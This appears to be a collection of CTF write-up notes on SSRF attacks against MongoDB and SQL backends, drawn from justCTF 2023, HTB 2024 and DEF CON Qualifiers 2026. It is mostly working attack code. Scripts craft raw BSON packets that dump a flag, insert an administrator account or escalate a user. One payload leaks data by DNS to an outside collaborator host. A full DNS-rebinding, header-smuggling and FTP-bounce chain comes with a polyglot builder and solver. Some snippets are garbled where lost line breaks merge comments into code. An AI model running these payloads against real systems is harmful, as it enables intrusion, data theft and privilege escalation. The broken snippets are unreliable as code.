SSRF using ftp pasv
justctf 2023 https://gist.github.com/TrixterTheTux/99c1da88ebdc7bd3de224ef500f01178
https://www.serv-u.com/resources/tutorial/pasv-response-epsv-port-pbsz-rein-ftp-command#:~:text=(p1%20*%20256)%20%2B%20p2%20%3D%20data%20port ## ssrf on mongodb
const BSON = require("bson");const fs = require("fs");const doc = {
find: "flag", $db: "secret", filter: {
$where: `this.flag.startsWith('${process.argv[2]}') && sleep(100000)` }
};const data = BSON.serialize(doc);let beginning = Buffer.from(
"000000000000000000000000DD0700000000000000", "hex");let full = Buffer.concat([beginning, data]);full.writeUInt32LE(full.length, 0);fs.writeFileSync("bson.bin", full);
const BSON = require('bson')
const fs = require('fs')
const crypto = require('crypto')
let header1 = Buffer.from('aabbccdd11111111ffffffff00000000', 'hex')
let msg1 = Buffer.concat([header1, crypto.randomBytes(256)]) // this can contain random garbage like http headersconst doc = {
find: 'flag', $db: 'secret'}
let header2 = Buffer.from('000000000000000000000000DD0700000000000000', 'hex')
let msg2 = Buffer.concat([header2, BSON.serialize(doc)])
msg1.writeUInt32LE(msg1.length, 0)
msg2.writeUInt32LE(msg2.length, 0)
const full = Buffer.concat([msg1, msg2])
console.log(
Array.from(full)
.map(x => x.toString(16).padStart(2, '0'))
.join(' ')
)
console.log(full.toString())
fs.writeFileSync('/tmp/bson.bin', full)
const BSON = require('bson')
const fs = require('fs')
const crypto = require('crypto')
let header1 = Buffer.from('aabbccdd111111110000000000000000', 'hex')
let msg1 = Buffer.concat([header1, crypto.randomBytes(256)]) // this can contain random garbage like http headersmsg1 = msg1.map(x => (x == 0xff ? 0x00 : x)) // replace 0xff with 0x00 as telent will duplicate that with some unknown reasonconst doc = {
find: 'flag', $db: 'secret'}
let header2 = Buffer.from('000000000000000000000000DD0700000000000000', 'hex')
let msg2 = Buffer.concat([header2, BSON.serialize(doc)])
msg1.writeUInt32LE(msg1.length, 0)
msg2.writeUInt32LE(msg2.length, 0)
const full = Buffer.concat([msg1, msg2])
console.log(
Array.from(full)
.map(x => x.toString(16).padStart(2, '0'))
.join(' ')
)
console.log(full.toString())
fs.writeFileSync('/tmp/bson.bin', full)
// `curl 'telnet://localhost:27017/' --upload-file /tmp/bson.bin --http0.9 --max-time 1` will show the flag// if it is possible to make it work with curl `-X` option then it should work too
b.getSiblingDB('secret').flag.find({
$where: function () {
var m = "mongodb+srv://"; for (i = 0; i < this.flag.length; i++) {
m += this.flag.charCodeAt(i).toString(16); }
m += "." + Math.floor(Math.random() * 1337) + ".ojb52kped3e19tuedltz1fvl4ca3yxmm.oastify.com:27017/"; MongoURI(m); }
});
Another example in htbctf 2024
https://trixterthetux.notion.site/HTB-Cyber-Apocalypse-2024-web-Percetron-07e517143f9f4753941efc24b72640e1
// npm init -y && npm install --save bson bcryptjsconst fs = require("fs");const BSON = require("bson");const bcrypt = require("bcryptjs");(async () => {
const doc = {
insert: 'users', documents: [
{
_id: new BSON.ObjectId(), username: 'trixter_admin', password: await bcrypt.hash('password', 10), permission: 'administrator', }
], ordered: true, '$db': 'percetron', }; const data = BSON.serialize(doc); let beginning = Buffer.from(
"000000000000000000000000DD0700000000000000", "hex" ); let full = Buffer.concat([beginning, data]); full.writeUInt32LE(full.length, 0); fs.writeFileSync("bson.bin", full);})();
SSRF using telnet
web/unfinished https://clbuezzz.wordpress.com/2023/02/13/dicectf-2023-web-challenges/
SSRF to mongo db
https://github.com/hackthebox/cyber-apocalypse-2024/tree/main/web/[Hard] Percetron
username = "lean"
OP_MSG = [
0x00, 0x00, 0x00, 0x00, # request id)
0x00, 0x00, 0x00, 0x00, # responseto
0xDD, 0x07, 0x00, 0x00, # OP_MSG
0x00, 0x00, 0x00, 0x00, # message flags
0x00 # body kind
]
payload = f"""db.runCommand({{update:\"users\",updates:[{{q:{{\"username\":\"{username}\"}},u:{{$set:{{\"permission\":\"administrator\"}}}}}}]}})"""
document = [
# 0x00, 0x00, 0x00, 0x00, # total document body size
0x0d, # type is javascript code
] + list(bytearray(b"$eval")) + [ # element
0x00, # end
] + pack_size(len(payload)+1) + [ # length
] + list(bytearray(payload.encode())) + [ # value
0x00,
0x04 # type is array
] + list(bytearray(b"args")) + [ # element
0x00, # end
0x05, 0x00, 0x00, 0x00, # length
0x00, # empty
0x03 # type is document
] + list(bytearray(b"lsid")) + [ # element
0x00, # end
0x1e, 0x00, 0x00, 0x00, # length
0x05, # type is binary
] + list(bytearray(b"id")) + [ # element
0x00, # end
0x10, 0x00, 0x00, 0x00, # length
0x04,
0x1d, 0x62, 0x89, 0x5c, 0x03, 0x55,
0x4d, 0x4e, 0xb5, 0xe1, 0xe6, 0xa3,
0xeb, 0x0b, 0x82, 0xff,
0x00, # end
0x02, # type is string
] + list(bytearray(b"$db")) + [ # element
0x00, # end
0x0a, 0x00, 0x00, 0x00, # length
] + list(bytearray(b"percetron")) + [
0x00, # end
0x03 # type is document
] + list(bytearray(b"$readPreference")) + [
0x00, # end
0x20, 0x00, 0x00, 0x00, # length
0x02, # type is string
] + list(bytearray(b"mode")) + [
0x00, # end
0x11, 0x00, 0x00, 0x00, # length
] + list(bytearray(b"primaryPreferred")) + [# value
0x00, 0x00, 0x00
]
print(encode(construct_query(OP_MSG, document)))
SSRF → FTP active-mode bounce of a PNG/TDS polyglot → Babelfish SQL UPDATE
| Event Name | DEF CON CTF Qualifiers 2026 |
| Source URL | - |
| Challenge Name | Waybird Machine (web/misc, 323 pts) |
/scrape runs requests.get with HTTPDigestAuth after a private-IP blocklist on socket.getaddrinfo. pyftpdlib (anonymous, writable, port 21) and Babelfish/TDS (port 1433) listen on the same network namespace as the web app. The flag is stored in flags(is_hidden=1) and rendered on / only when is_hidden=0 ⇒ a SQL UPDATE flags SET is_hidden=0; exposes it.- Upload polyglot via /scrape. PNG header through IEND ends at byte 88; from byte 88 onward is a complete TDS stream (prelogin + login7
babelfish_user/12345678+SQL Batch UPDATE flags SET is_hidden=0;), plus a few MB of\x00padding (the key to keep the FTP data socket alive long enough — see below). ImageMagickidentifyaccepts the file as a valid PNG. - DNS rebinding bypass.
make-<vps-ip>-and-0-0-0-0-rr-<ts>.1u.msreturns multi-A {VPS_IP, 0.0.0.0}._validate_url'sgetaddrinfosees one allowed IP and lets the request through;urllib3first connects to the VPS (gets a Digest 401), retries — second lookup hits0.0.0.0, which from inside the container loops back to the web's own pyftpdlib on:21. - HTTP header smuggling. Python's
http.clientaccepts the legacy obs-fold (CRLF SP ...) inside header values. The retry'sAuthorization: Digest username="…"(or the malicious 401'sWWW-Authenticate: Digest nonce="…") carries\r\ncontinuation lines containing real FTP commands. pyftpdlib (asynchat, recv chunk = 65 536) reads them. - pyftpdlib 2048-byte line-cap bypass. Lines over 2 048 bytes have their pending buffer DROPPED. Pad each folded line so the next FTP command starts on a 65 536-byte recv boundary — the buffer drop discards the over-long padding, and the next recv chunk begins exactly at
USER anonymous / PASS p / TYPE I / EPRT |1|127.0.0.1|1433| / REST 88 / RETR <file>. - FTP active-mode bounce to Babelfish.
EPRT |1|127.0.0.1|1433|makes pyftpdlib dial the local TDS server;REST 88skips the PNG prefix;RETRstreams the TDS portion. Babelfish parses prelogin → login7 → SQL batch, commits the UPDATE, and/renders the flag.
RETR finishes in ms and pyftpdlib closes the data socket before Babelfish can process the SQL batch — log shows could not send data to client: Broken pipe while flushing the login7 response, then FATAL: connection to client lost and the batch is never run. A few MB of \x00 keeps the data socket alive long enough; bluepichu/kek used RETR some_big_file and zaratec used STOR after RETR for the same effect. Trailing zeros surface later as TDS packet with insufficient data — harmless, the UPDATE has already committed.pyftpdlib rejects EPRT |1|127.0.0.1|...| with 501 Rejected data connection to foreign address unless the control-connection peer is also 127.0.0.1. The DNS rebind to 0.0.0.0 makes the FTP control peer be loopback, so EPRT 127.0.0.1 is accepted. For a local PoC, drive FTP from inside the container so the peer matches.why it is vulnerable
# bbbird_archive/app/scraper.py — SSRF gate is host-only and one-shot:
def _validate_url(url):
resolved = socket.getaddrinfo(hostname, None)
for family, _, _, _, sockaddr in resolved:
ip = ipaddress.ip_address(sockaddr[0])
for network in BLOCKED_NETWORKS:
if ip in network:
raise ScrapeError("Access to private/internal addresses is not allowed")
return parsed # second DNS lookup by requests is NOT re-validated -> DNS rebind
def _fetch(url, auth_user, auth_pass):
r = requests.get(url, allow_redirects=False)
if r.status_code == 401:
auth_header = r.headers.get("WWW-Authenticate", "").lower()
if "digest" in auth_header:
# HTTPDigestAuth re-issues GET with the same URL -> rebind kicks in,
# and Python http.client allows obs-fold (CRLF SP) inside Digest values.
r = requests.get(url, auth=HTTPDigestAuth(auth_user, auth_pass), ...)
# run-web.sh on the same network namespace as the web/Flask:
# python -m pyftpdlib -D --port 21 -w -d /app/app/static/scraped & # anonymous + writable
# babelfish on 127.0.0.1:1433 + birdarchive DB + flag row with is_hidden=1exploit payload
# FTP commands smuggled through Digest CRLF obs-fold, aligned to recv(65536) boundaries.
USER anonymous # everything to the right of \r\n is padded so the
PASS pppppp…p # NEXT command lands on a 65536-byte recv boundary
TYPE I
EPRT |1|127.0.0.1|1433| # pyftpdlib dials Babelfish/TDS as the FTP data conn
REST 88 # skip the 88-byte PNG prefix (header+IHDR+IDAT+IEND)
RETR <uploaded-polyglot> # stream prelogin + login7 + SQL batch + ~MB of pad
# TDS SQL batch (UTF-16) embedded after byte 88 of the polyglot:
UPDATE flags SET is_hidden=0;solver
# make_polyglot.py — build the PNG/TDS polyglot from the minimal TDS stream
# (prelogin + login7(babelfish_user/12345678) + SQL batch UPDATE flags SET is_hidden=0;)
import base64, sys
TDS_MIN_UPDATE0_B64 = (
"EgEAOgAAAAAAABoABgEAIAABAgAhAAwDAC0ABAQAMQAB/wkAAAAAAABNU1NRTFNlcnZlcg"
"B0BAAAABABASEAAAAAGQEAAAQAAHQAEAAABoPy+HQEAAAAAAAA4AEAGIj///82BAAAXgAM"
"AHYADgCSAAgAogAOAL4ACQDQAAQA1AAKAOgACgD8AAsAJpUdylZmEgEAABIBAAASAQAAAA"
"AAADQANwA4ADAAOQAzADQAYgAwADQAZAA0AGIAYQBiAGUAbABmAGkAcwBoAF8AdQBzAGUA"
"cgC2pYallqXmpfalxqXWpSalcAB5AG0AcwBzAHEAbAA9ADIALgAzAC4AMQAzADEAMgA3AC"
"4AMAAuADAALgAxABIBAABEAEIALQBMAGkAYgByAGEAcgB5AHUAcwBfAGUAbgBnAGwAaQBz"
"AGgAYgBpAHIAZABhAHIAYwBoAGkAdgBlAAoBAAAAAf8BAQBYAAABABYAAAASAAAAAgAAAA"
"AAAAAAAAEAAABVAFAARABBAFQARQAgAGYAbABhAGcAcwAgAFMARQBUACAAaQBzAF8AaABp"
"AGQAZABlAG4APQAwADsA")
PNG_PREFIX = bytes.fromhex( # 6x3 PNG, ends at byte 88 (header+IHDR+IDAT+IEND)
"89504e470d0a1a0a0000000d49484452000000060000000308020000003f63e9ac"
"0000001f49444154789c6dc8310d00000c02300e6c2c19fe4d7213e859de0b"
"8928a30c162f006ba732dec60000000049454e44ae426082")
PAD_MB = int(sys.argv[1]) if len(sys.argv) > 1 else 2 # keeps FTP data socket alive long enough
open("polyglot.png","wb").write(PNG_PREFIX + base64.b64decode(TDS_MIN_UPDATE0_B64) + b"\x00"*PAD_MB*1024*1024)
# bounce.py — drive FTP bounce → 127.0.0.1:1433 (run from a peer with IP 127.0.0.1, i.e. via the
# DNS-rebind path; here run from inside the web container so EPRT 127.0.0.1 is accepted)
import socket, time
s = socket.create_connection(("127.0.0.1", 21))
s.recv(4096)
for cmd in ["USER anonymous","PASS anonymous","TYPE I",
"EPRT |1|127.0.0.1|1433|","REST 88","RETR polyglot.png"]:
s.sendall((cmd+"\r\n").encode()); time.sleep(0.3); print(s.recv(4096).decode("latin-1","replace").rstrip())
# Full-chain front-end (DNS rebinding + Digest obs-fold smuggling) — invocation that yields the flag
# remotely (secu23, Codex-assisted; two helper files described in REPO):
# VPS:
# python3 waybird_split_server.py --payload-port 9010 --auth-port 21 --payload-kind png \
# --pad-mb 10 --auth-style simple --active-mode eprt --active-host 127.0.0.1 \
# --refuse-after-401 3 --refuse-after-401-count 2
# Client (target-reachable):
# python3 waybird_split_client.py --target http://TARGET --vps http://VPS:9010 \
# --rebind-domain make-<vps-ip>-and-0-0-0-0-rr-$(date +%s).1u.ms \
# --target-accept-encoding 'gzip, deflate' --attempts 5 --sleep 0.5